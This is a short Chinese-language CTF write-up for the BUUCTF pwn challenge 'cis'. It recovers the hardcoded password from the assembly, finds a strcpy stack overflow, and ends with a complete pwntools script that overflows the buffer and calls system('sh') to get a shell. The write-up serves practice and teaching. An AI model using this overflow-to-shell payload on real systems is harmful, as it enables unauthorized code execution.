先附上题目地址:BUUCTF在线评测
首当其冲checksec,开启了NX保护,32位程序。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
还是蛮有意思的一道题,我的IDA有些问题,无法f5主函数,那么就看汇编。我先运行了一下题目,发现要我们输入一个密码,但是我们并不知道密码是什么。通过汇编发现密码是administrator。然后就是提示界面搞了0123四个选项,还有一个4选项可以运行getflag函数,这里有一个strcpy可以用来栈溢出。其中有system函数有puts,所以刚开始想的是没有/bin/sh的ret2libc。不过在我libcsearcher一番操作后发现打不通。于是在gdb里用find sh cis试了一下果然有sh的地址,只不过IDA里看不到。于是就是一个常规的栈溢出了。
from pwn import *
from LibcSearcher import *
def recvui():
for i in range(5):
r.recvline()
r.recvuntil(':')
context(os = 'linux',arch = 'i386')
r = process('./cis')
#r = remote('node4.buuoj.cn','25598')
elf = ELF('./cis')
sh = 0x80482ea
system = 0x080484D0
r.recvuntil(':')
r.sendline('administrator')
recvui()
r.sendline('1')
r.recvuntil(':')
payload = 'a'*76+p32(system)+'bbbb'+p32(sh)
r.sendline(payload)
recvui()
r.sendline('4')
r.interactive()
这几天感觉做题越来越上道了,果然师傅说的基础还是有用,打好基础最重要了。